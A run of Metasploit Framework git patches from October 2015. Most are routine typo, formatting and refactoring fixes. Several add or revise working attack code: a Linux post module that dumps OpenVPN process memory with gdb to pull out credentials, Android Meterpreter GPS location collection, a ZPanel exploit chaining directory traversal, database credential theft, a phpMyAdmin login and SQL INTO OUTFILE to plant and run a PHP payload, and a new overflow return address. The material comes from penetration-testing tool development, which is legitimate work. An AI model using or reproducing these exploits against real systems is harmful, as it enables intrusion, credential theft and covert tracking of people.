"\n" + # yes, this is output, but `IO#puts` uses `rb_default_rs`, which is + # [`$/`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/io.c#L12168-L12172), + # which is [`$INPUT_RECORD_SEPARATOR`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/lib/English.rb#L83) + print_raw($INPUT_RECORD_SEPARATOR) + end + end + + nil + end end end From 6748ccbb829e8dcf7a3351224002018bff1afb00 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 19 Oct 2015 10:43:38 -0500 Subject: [PATCH 0930/2172] This method was moved to Rex::Ui::Text::Output --- lib/rex/ui/text/output/stdio.rb | 16 ---------------- 1 file changed, 16 deletions(-) diff --git a/lib/rex/ui/text/output/stdio.rb b/lib/rex/ui/text/output/stdio.rb index b55bd5e685..02be514344 100644 --- a/lib/rex/ui/text/output/stdio.rb +++ b/lib/rex/ui/text/output/stdio.rb @@ -71,22 +71,6 @@ class Output::Stdio < Rex::Ui::Text::Output end alias_method :write, :print_raw - def puts(*args) - args.each do |argument| - line = argument.to_s - write(line) - - unless line.ends_with? "\n" - # yes, this is output, but `IO#puts` uses `rb_default_rs`, which is - # [`$/`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/io.c#L12168-L12172), - # which is [`$INPUT_RECORD_SEPARATOR`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/lib/English.rb#L83) - write($INPUT_RECORD_SEPARATOR) - end - end - - nil - end - def supports_color? case config[:color] when true From 88159edf9ff3fe1948115e99f7921b1879d42e9f Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 19 Oct 2015 18:11:03 -0500 Subject: [PATCH 0931/2172] Fix double raise in vnc_none_auth Not necessary for what it's trying to accomplish, being a scanner. --- .../auxiliary/scanner/vnc/vnc_none_auth.rb | 24 ++++++++----------- 1 file changed, 10 insertions(+), 14 deletions(-) diff --git a/modules/auxiliary/scanner/vnc/vnc_none_auth.rb b/modules/auxiliary/scanner/vnc/vnc_none_auth.rb index 33b260cd4d..e16a345997 100644 --- a/modules/auxiliary/scanner/vnc/vnc_none_auth.rb +++ b/modules/auxiliary/scanner/vnc/vnc_none_auth.rb @@ -36,16 +36,16 @@ class Metasploit3 < Msf::Auxiliary end def run_host(target_host) - connect - begin + connect vnc = Rex::Proto::RFB::Client.new(sock) - if not vnc.handshake - raise RuntimeError.new("Handshake failed: #{vnc.error}") + unless vnc.handshake + print_error("#{target_host}:#{rport} - Handshake failed: #{vnc.error}") + return end ver = "#{vnc.majver}.#{vnc.minver}" - print_status("#{target_host}:#{rport}, VNC server protocol version : #{ver}") + print_status("#{target_host}:#{rport} - VNC server protocol version: #{ver}") svc = report_service( :host => rhost, :port => rport, @@ -55,8 +55,9 @@ class Metasploit3 < Msf::Auxiliary ) type = vnc.negotiate_authentication - if not type - raise RuntimeError.new("Auth negotiation failed: #{vnc.error}") + unless type + print_error("#{target_host}:#{rport} - Auth negotiation failed: #{vnc.error}") + return end # Show the allowed security types @@ -64,10 +65,10 @@ class Metasploit3 < Msf::Auxiliary vnc.auth_types.each { |type| sec_type << Rex::Proto::RFB::AuthType.to_s(type) } - print_status("#{target_host}:#{rport}, VNC server security types supported : #{sec_type.join(",")}") + print_status("#{target_host}:#{rport} - VNC server security types supported: #{sec_type.join(",")}") if (vnc.auth_types.include? Rex::Proto::RFB::AuthType::None) - print_good("#{target_host}:#{rport}, VNC server security types includes None, free access!") + print_good("#{target_host}:#{rport} - VNC server security types includes None, free access!") report_vuln( { :host => rhost, @@ -78,11 +79,6 @@ class Metasploit3 < Msf::Auxiliary :exploited_at => Time.now.utc }) end - - rescue RuntimeError - print_error("#{target_host}:#{rport}, #{$!}") - raise $! - ensure disconnect end From 78d5e52dd6ca4830e4b29895fd6d2ddf08f971ea Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Mon, 19 Oct 2015 23:11:02 -0200 Subject: [PATCH 0932/2172] Add OpenVPN Grab Credentials - Post Module --- .../post/linux/gather/openvpn_credentials.rb | 75 +++++++++++++++++++ 1 file changed, 75 insertions(+) create mode 100644 modules/post/linux/gather/openvpn_credentials.rb diff --git a/modules/post/linux/gather/openvpn_credentials.rb b/modules/post/linux/gather/openvpn_credentials.rb new file mode 100644 index 0000000000..8d6ce1aea1 --- /dev/null +++ b/modules/post/linux/gather/openvpn_credentials.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit4 < Msf::Post + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenVPN Gather Credentials', + 'Description' => %q{ + This module grab OpenVPN credentials from a running process + in Linux. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rvrsh3ll', # Discovery + 'Roberto Soares Espreto ', # Metasploit Module + ], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'], + 'References' => [ + ['URL', 'https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh'] + ] + )) + + register_options( + [ + OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.']) + ], self.class + ) + end + + def pid + datastore['PID'] + end + + def run + user = cmd_exec('/usr/bin/whoami') + print_good("Module running as \"#{user}\" user") + + unless is_root? && user == 'root' + print_error('This module requires root permissions.') + return + end + + cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done') + strings = cmd_exec('/usr/bin/strings *.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk \'{print "User: "$1"\nPass: "$2}\'') + cmd_exec('/bin/rm *.dump --force') + + if strings.empty? + print_error('No credentials. You can check if the PID is correct.') + return + end + + vprint_good("OpenVPN Credentials:\n#{strings}") + + p = store_loot( + 'openvpn.grab', + 'text/plain', + session, + strings, + nil + ) + print_status("OpenVPN Credentials stored in #{p}") + end +end From 2f1406e1c875151b5c2db195fff2e5aa1e11c882 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Tue, 20 Oct 2015 13:48:00 -0400 Subject: [PATCH 0933/2172] fix typo not sure how this got in there --- modules/post/windows/manage/exec_powershell.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/exec_powershell.rb b/modules/post/windows/manage/exec_powershell.rb index 7d6b75efb2..6d0c158d65 100644 --- a/modules/post/windows/manage/exec_powershell.rb +++ b/modules/post/windows/manage/exec_powershell.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Post raise "Powershell not available" if ! have_powershell? # Preprocess the Powershell::Script object with substitions from Exploit::Powershell - script = make_subs(read_script(datstore['SCRIPT']),process_subs(datstore['SUBSTITUTIONS'])) + script = make_subs(read_script(datstore['SCRIPT']),process_subs(datastore['SUBSTITUTIONS'])) # Execute in session print_status psh_exec(script) From 4b271425c97acf763909ede9966e7b3ee6fdcec0 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 20 Oct 2015 13:05:49 -0500 Subject: [PATCH 0934/2172] s/datstore/datastore/g --- lib/msf/core/rpc/v10/rpc_core.rb | 2 +- .../ui/console/command_dispatcher/lanattacks/dhcp.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/rpc/v10/rpc_core.rb b/lib/msf/core/rpc/v10/rpc_core.rb index d689d7bb01..0fd7191627 100644 --- a/lib/msf/core/rpc/v10/rpc_core.rb +++ b/lib/msf/core/rpc/v10/rpc_core.rb @@ -30,7 +30,7 @@ class RPC_Core < RPC_Base end - # Returns a global datstore option. + # Returns a global datastore option. # # @param [String] var The name of the global datastore. # @return [Hash] The global datastore option. If the option is not set, then the value is empty. diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb index 1114d0c37d..8e669098aa 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb @@ -177,7 +177,7 @@ class Console::CommandDispatcher::Lanattacks::Dhcp def print_dhcp_load_options_usage print("dhcp_load_options [-h]\n\n" + - "Load settings from a datstore to the active DHCP server.\n\n" + + "Load settings from a datastore to the active DHCP server.\n\n" + "The datastore must be a hash of name/value pairs.\n" + "Valid names are:\n" + @@dhcp_set_option_valid_options.map {|o| " - #{o}\n" }.join('') + From 0784370b9879ce0f2eeef496df11f2aa672fbaa3 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 20 Oct 2015 13:09:17 -0500 Subject: [PATCH 0935/2172] more typo and whitespace fixes --- modules/post/windows/manage/exec_powershell.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/manage/exec_powershell.rb b/modules/post/windows/manage/exec_powershell.rb index 6d0c158d65..11b6659f6b 100644 --- a/modules/post/windows/manage/exec_powershell.rb +++ b/modules/post/windows/manage/exec_powershell.rb @@ -30,12 +30,12 @@ class Metasploit3 < Msf::Post register_options( [ - OptString.new( 'SCRIPT', [true, 'Path to the local PS script or command string to execute' ]), + OptString.new( 'SCRIPT', [true, 'Path to the local PS script or command string to execute']), ], self.class) register_advanced_options( [ - OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]), + OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub']), ], self.class) end @@ -47,11 +47,11 @@ class Metasploit3 < Msf::Post raise "Powershell not available" if ! have_powershell? # Preprocess the Powershell::Script object with substitions from Exploit::Powershell - script = make_subs(read_script(datstore['SCRIPT']),process_subs(datastore['SUBSTITUTIONS'])) + script = make_subs(read_script(datastore['SCRIPT']), process_subs(datastore['SUBSTITUTIONS'])) # Execute in session print_status psh_exec(script) - print_good('Finished!') + print_good 'Finished!' end end From ba14d6e77fc55f01f9d25e9f9bf4f050335534fd Mon Sep 17 00:00:00 2001 From: HD Moore Date: Tue, 20 Oct 2015 15:39:51 -0500 Subject: [PATCH 0936/2172] Add support for the TBD interval geo collection on Android --- .../meterpreter/extensions/android/android.rb | 29 ++++++++++++++++++- 1 file changed, 28 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index c6446cad3a..bdc7efee7c 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -20,6 +20,7 @@ module Android class Android < Extension COLLECT_TYPE_WIFI = 1 + COLLECT_TYPE_GEO = 2 COLLECT_ACTION_START = 1 COLLECT_ACTION_PAUSE = 2 @@ -28,7 +29,8 @@ class Android < Extension COLLECT_ACTION_DUMP = 5 COLLECT_TYPES = { - 'wifi' => COLLECT_TYPE_WIFI + 'wifi' => COLLECT_TYPE_WIFI, + 'geo' => COLLECT_TYPE_GEO } COLLECT_ACTIONS = { @@ -104,6 +106,31 @@ class Android < Extension end end + records.each do |k, v| + result[:entries] << v + end + + when COLLECT_TYPE_GEO + result[:headers] = ['Timestamp', 'Latitude', 'Longitude'] + result[:entries] = [] + records = {} + + response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g| + timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP) + timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S') + + g.each(TLV_TYPE_COLLECT_RESULT_GEO) do |w| + lat = w.get_tlv_value(TLV_TYPE_GEO_LAT) + lng = w.get_tlv_value(TLV_TYPE_GEO_LONG) + key = "#{lat},#{lng}" + + # Allow record non-duplicate locations over a contiguous period + if !records.include?(key) || records[key][0] < timestamp + records[key] = [timestamp, lat, lng] + end + end + end + records.each do |k, v| result[:entries] << v end From 728fd17856803f502e677c610b5b3e2c306774c1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 20 Oct 2015 16:07:02 -0500 Subject: [PATCH 0937/2172] Make code changes for zpanel_information_disclosure_rce.rb Use Nokogiri and URI, as well as indent fixes and other things --- .../http/zpanel_information_disclosure_rce.rb | 415 +++++++++--------- 1 file changed, 215 insertions(+), 200 deletions(-) diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb index 90af76162d..6c660a5bcf 100644 --- a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -1,5 +1,7 @@ require 'msf/core' require 'msf/core/exploit/php_exe' +require 'nokogiri' +require 'uri' class Metasploit3 < Msf::Exploit::Remote @@ -12,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'Zpanel Remote Unauthenticated RCE', 'Description' => %q{ This module exploits an information disclosure vulnerability - found in Zpanel <= 10.1.0. The vulnerability exposed due to a + found in Zpanel <= 10.1.0. The vulnerability is due to a vulnerable version of pChart allowing remote, unauthenticated, users to read arbitrary files found on the filesystem. This particular module utilizes this vulnerability to identify the @@ -21,18 +23,19 @@ class Metasploit3 < Msf::Exploit::Remote SQL commands to drop a malicious payload on the filesystem and call it leading to remote code execution. }, - 'Author' => [ - 'dawn isabel', - 'brad wolfe', - 'brent morris', - 'james fitts' + 'Author' => + [ + 'dawn isabel', + 'brad wolfe', + 'brent morris', + 'james fitts' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-2097' ], - [ 'EDB', '31173' ],# pChart - [ 'OSVDB', '102595' ],# pChart + [ 'EDB', '31173' ], # pChart + [ 'OSVDB', '102595' ], # pChart [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ], [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ], [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ] @@ -42,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", }, 'Platform' => 'php', - 'Arch' => ARCH_PHP, + 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], @@ -51,227 +54,239 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 30 2014')) - register_options( - [ + register_options( + [ OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) - ], self.class) - end - - def dot_dot_slash(uri) - res = send_request_cgi({ - 'method'=>'get', - 'uri'=> normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"), - 'vars_get'=> { - 'Action'=> 'View', - 'Script'=> '../../../../cnf/db.php' - }, - 'version'=>"1.1", - }) - - uname = res.body.scan(/(?<=\$user <\/span>= <\/span>')[A-Za-z0-9]+/) - - passwd = res.body.scan(/(?<=\$pass <\/span>= <\/span>')[A-Za-z0-9@#\$\%\^\&\+=_]+/) - - dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) - - return uname, passwd, dbname - end - - def grab_sess_and_token(uri) - print_status("Attempting to get PHPSESSIONID") - res = send_request_cgi({ - 'method'=>'GET', - 'uri'=>normalize_uri("#{uri}"), - 'version'=>'1.1' - }) - - unless res - fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID') - end - cookies = res.get_cookies - sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' - - if sid.length > 0 - print_good("PHPSESSID identified!") - print_good("PHPSESSID = #{sid.split("=")[1]}") - - print_status("Attempting to get CSRF token") - res = send_request_cgi({ - 'method'=>'GET', - 'uri'=>normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"), - 'version'=>'1.1', - 'Cookie'=>"#{sid}" - }) - - unless res - fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token') - end - token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}" - token = token.to_s[2..-3] - token = token[0..31] - cookies = res.get_cookies - - cookies = cookies.split("; ") - cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}" - - if token.length > 0 - print_good("CSRF token identified!") - print_good("CSRF token = #{token}") - return cookies, token, sid - else - print_error("CSRF token could not be identified...") - end - else - print_error("PHPSESSID could not be identified...") - end - end - - def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) - old_cookies = cookies - - res = send_request_cgi({ - 'method'=>'POST', - 'uri'=>normalize_uri("etc", "apps", "phpmyadmin", "index.php"), - 'cookie'=>cookies, - 'ctype'=>"application/x-www-form-urlencoded", - 'headers'=>{ - 'Referer'=>"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", - }, - 'vars_post'=>{ - 'pma_username'=>uname, - 'pma_password'=>passwd, - 'server'=>"1", - 'lang'=>"en", - 'collation_connection'=>"utf8_general_ci", - 'token'=>token - } - }) - - cookies = "#{res.get_cookies}" - - old_cookies = old_cookies.split("; ") - cookies = cookies.split("; ") - - new_cookies = "#{old_cookies[0]}; " - new_cookies << "#{old_cookies[1]}; " - new_cookies << "#{old_cookies[2]}; " - new_cookies << "#{old_cookies[3]}; " - new_cookies << "#{cookies[0]}; " - new_cookies << "#{cookies[1]} " - new_cookies << "#{sess_id}" - - token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/) - token = token.to_s[2..-3] - - res = send_request_cgi({ - 'method'=>'GET', - 'uri'=>normalize_uri("etc", "apps", "phpmyadmin", "index.php"), - 'Referer'=>"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", - 'cookie'=>new_cookies, - 'vars_get'=>{ - 'token'=>token - } - }) - - unless res - fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin') - end - - if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ - print_good("PHPMyAdmin login successful!") - return new_cookies, token - end - + ], self.class) end - def do_sql(cookies, token, uri) + def get_setting(res, setting_name) + n = ::Nokogiri::HTML(res.body) + spans = n.search('//code//span//span') + found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first + val = found_element.next.next.text + val.scan(/['"]([[:print:]]+)['"]/).flatten.first || '' + end - fname = "#{rand_text_alpha_upper(5)}.php" - sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" + def get_user(res) + get_setting(res, 'user') + end + def get_passwd(res) + get_setting(res, 'pass') + end + + def get_dbname(res) + get_setting(res, 'dbname') + end + + def dot_dot_slash(uri) + res = send_request_cgi({ + 'method' =>'GET', + 'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'), + 'vars_get' => { + 'Action' => 'View', + 'Script' => '../../../../cnf/db.php' + } + }) + + uname = get_user(res) + passwd = get_passwd(res) + dbname = get_dbname(res) + + return uname, passwd, dbname + end + + def get_token_from_form(res) + hidden_inputs = res.get_hidden_inputs + hidden_inputs.first['token'] + end + + def get_token_from_url(url) + u = URI(url) + u.query.split('&').each do |param| + param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten + return param_value if param_name == 'token' + end + + '' + end + + def grab_sess_and_token(uri) + print_status('Attempting to get PHPSESSIONID') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}"), + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID') + end + + cookies = res.get_cookies + sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' + + if sid.length > 0 + print_good('PHPSESSID identified!') + print_good("PHPSESSID = #{sid.split("=")[1]}") + + print_status('Attempting to get CSRF token') res = send_request_cgi({ - 'method'=>'POST', - 'uri'=>normalize_uri("etc", "apps", "phpmyadmin", "import.php"), - 'version'=>'1.1', - 'cookie'=>cookies, - 'ctype'=>'application/x-www-form-urlencoded; charset=UTF-8', - 'headers'=>{ - 'X-Requested-With'=>"XMLHttpRequest", - 'Referer'=>"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" - }, - 'vars_post'=>{ - 'is_js_confirmed'=>"0", - 'token'=>token, - 'pos'=>"0", - 'goto'=>"server_sql.php", - 'message_to_show'=>"Your+SQL+query+has+been+executed+successfully", - 'prev_sql_query'=>"", - 'sql_query'=>sql_stmt, - 'sql_delimiter'=>";", - 'show_query'=>"1", - 'ajax_request'=>"true", - '_nocache'=>rand.to_s[2..19].to_i - }, + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'), + 'Cookie' => "#{sid}" }) unless res - fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload') + fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token') end - if res.body =~ /"success":true/ - print_good("'#{fname}' successfully uploaded") + token = get_token_from_form(res) + cookies = res.get_cookies - print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'") - - print_status("Executing '#{fname}' on the remote host") - - res = send_request_cgi({ - 'method'=>'GET', - 'uri'=>normalize_uri("#{uri}", "#{fname}"), - 'version'=>'1.1' - }) + cookies = cookies.split('; ') + cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}" + if token.length > 0 + print_good('CSRF token identified!') + print_good("CSRF token = #{token}") + return cookies, token, sid else - print_error("#{res.body.to_s}") + print_error('CSRF token could not be identified...') end + else + print_error('PHPSESSID could not be identified...') + end + end + + def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + old_cookies = cookies + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'), + 'cookie' => cookies, + 'ctype' => 'application/x-www-form-urlencoded', + 'headers'=> + { + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + }, + 'vars_post' => { + 'pma_username' => uname, + 'pma_password' => passwd, + 'server' => '1', + 'lang' => 'en', + 'collation_connection' => 'utf8_general_ci', + 'token' => token + } + }) + + cookies = "#{res.get_cookies}" + + old_cookies = old_cookies.split("; ") + cookies = cookies.split("; ") + + new_cookies = "#{old_cookies[0]}; " + new_cookies << "#{old_cookies[1]}; " + new_cookies << "#{old_cookies[2]}; " + new_cookies << "#{old_cookies[3]}; " + new_cookies << "#{cookies[0]}; " + new_cookies << "#{cookies[1]} " + new_cookies << "#{sess_id}" + + token = get_token_from_url(res['Location']) + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'), + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + 'cookie' => new_cookies, + 'vars_get' => { + 'token' => token + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin') end - def exploit - # Checking pChart + if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ + print_good('PHPMyAdmin login successful!') + return new_cookies, token + end + end + + def do_sql(cookies, token, uri) + fname = "#{rand_text_alpha_upper(5)}.php" + sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'), + 'cookie' => cookies, + 'ctype' =>'application/x-www-form-urlencoded; charset=UTF-8', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" + }, + 'vars_post' => { + 'is_js_confirmed' => '0', + 'token' => token, + 'pos' => '0', + 'goto' => 'server_sql.php', + 'message_to_show' => 'Your+SQL+query+has+been+executed+successfully', + 'prev_sql_query' => '', + 'sql_query' => sql_stmt, + 'sql_delimiter' => ';', + 'show_query' => '1', + 'ajax_request' => 'true', + '_nocache' => rand.to_s[2..19].to_i + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload') + end + + if res.body =~ /"success":true/ + print_good("'#{fname}' successfully uploaded") + print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'") + print_status("Executing '#{fname}' on the remote host") + res = send_request_cgi({ - 'method'=> 'GET', - 'uri'=> normalize_uri("#{datastore['URI']}", "etc", "lib", "pChart2", "examples", "index.php") + 'method'=>'GET', + 'uri'=>normalize_uri("#{uri}", "#{fname}") }) + else + print_error("#{res.body.to_s}") + end + end + + def exploit + # Checking pChart + res = send_request_cgi({ + 'method'=> 'GET', + 'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php') + }) # if pChart is vuln version - if res.body =~ /pChart 2.x/ - db_info = dot_dot_slash("#{datastore['URI']}") - db_info = db_info.flatten - uname = db_info[0] - passwd = db_info[1] - db_name = db_info[2] - + if res.body =~ /pChart 2\.x/ + uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}") if uname.length > 0 && passwd.length > 0 - print_good("Directory traversal successful, Username/Password identified!") + print_good('Directory traversal successful, Username/Password identified!') print_good("Username: #{uname}") print_good("Password: #{passwd}") print_good("DB Name: #{db_name}") - cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}") - - print_status("Logging into PHPMyAdmin now") + print_status('Logging into PHPMyAdmin now') cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id) - - print_status("Uploading malicious payload now") + print_status('Uploading malicious payload now') do_sql(cookies, token, "#{datastore['URI']}") - else - print_error("It appears that the directory traversal was unsuccessful...") + print_error('It appears that the directory traversal was unsuccessful...') end - - else - print_error("It appears that the version of pChart is not vulnerable...") + else + print_error("It appears that the version of pChart is not vulnerable...") end - end end From f06d7591d6183a15394c886bf5999aee8a020992 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 20 Oct 2015 16:19:44 -0500 Subject: [PATCH 0938/2172] Add header for zpanel_information_disclosure_rce.rb --- .../exploits/multi/http/zpanel_information_disclosure_rce.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb index 6c660a5bcf..a6e100f521 100644 --- a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -1,3 +1,8 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + require 'msf/core' require 'msf/core/exploit/php_exe' require 'nokogiri' From e188bce4c92c51fc802442f8f81fa97f8d7e7951 Mon Sep 17 00:00:00 2001 From: Boumediene Kaddour Date: Wed, 21 Oct 2015 16:48:31 +0200 Subject: [PATCH 0939/2172] Update minishare_get_overflow.rb --- modules/exploits/windows/http/minishare_get_overflow.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/http/minishare_get_overflow.rb b/modules/exploits/windows/http/minishare_get_overflow.rb index ca003376d7..f02594d536 100644 --- a/modules/exploits/windows/http/minishare_get_overflow.rb +++ b/modules/exploits/windows/http/minishare_get_overflow.rb @@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote ['Windows XP SP2 German', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp ['Windows XP SP2 Polish', { 'Rets' => [ 1787, 0x77d4e26e ]}], # jmp esp ['Windows XP SP2 French', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp + ['Windows XP SP3 French', { 'Rets' => [ 1787, 0x7e3a9353 ]}], # jmp esp ], 'DefaultOptions' => { From 467ae52ec3b2669b8b0fce4d545773d89e1bfd76 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Wed, 21 Oct 2015 13:12:45 -0200 Subject: [PATCH 0940/2172] Remove redundant check --- modules/post/linux/gather/openvpn_credentials.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/linux/gather/openvpn_credentials.rb b/modules/post/linux/gather/openvpn_credentials.rb index 8d6ce1aea1..97c71b3a92 100644 --- a/modules/post/linux/gather/openvpn_credentials.rb +++ b/modules/post/linux/gather/openvpn_credentials.rb @@ -47,7 +47,7 @@ class Metasploit4 < Msf::Post user = cmd_exec('/usr/bin/whoami') print_good("Module running as \"#{user}\" user") - unless is_root? && user == 'root' + unless is_root? print_error('This module requires root permissions.') return end From 4e50f3ebde3229ae29d3ae5eb7a4ee53f7b4941b Mon Sep 17 00:00:00 2001 From: fraf0 Date: Wed, 21 Oct 2015 18:27:14 +0200 Subject: [PATCH 0941/2172] Update dns_srv_enum.rb Patch for : - Split record srvrcd one entry by line for readability. - Add record for Default-First-Site-Name : (according to https://technet.microsoft.com/en-us/library/cc759550%28v=ws.10%29.aspx) '_gc._tcp.Default-First-Site-Name._sites.', '_kerberos._tcp.Default-First-Site-Name._sites.', '_kerberos.tcp.Default-First-Site-Name._sites.dc._msdcs.', '_ldap._tcp.Default-First-Site-Name._sites.', '_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.', '_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.', - Remove double entry '_kerberos.tcp.dc._msdcs.' - Add fqdn query in logs. - Add report_note to store and 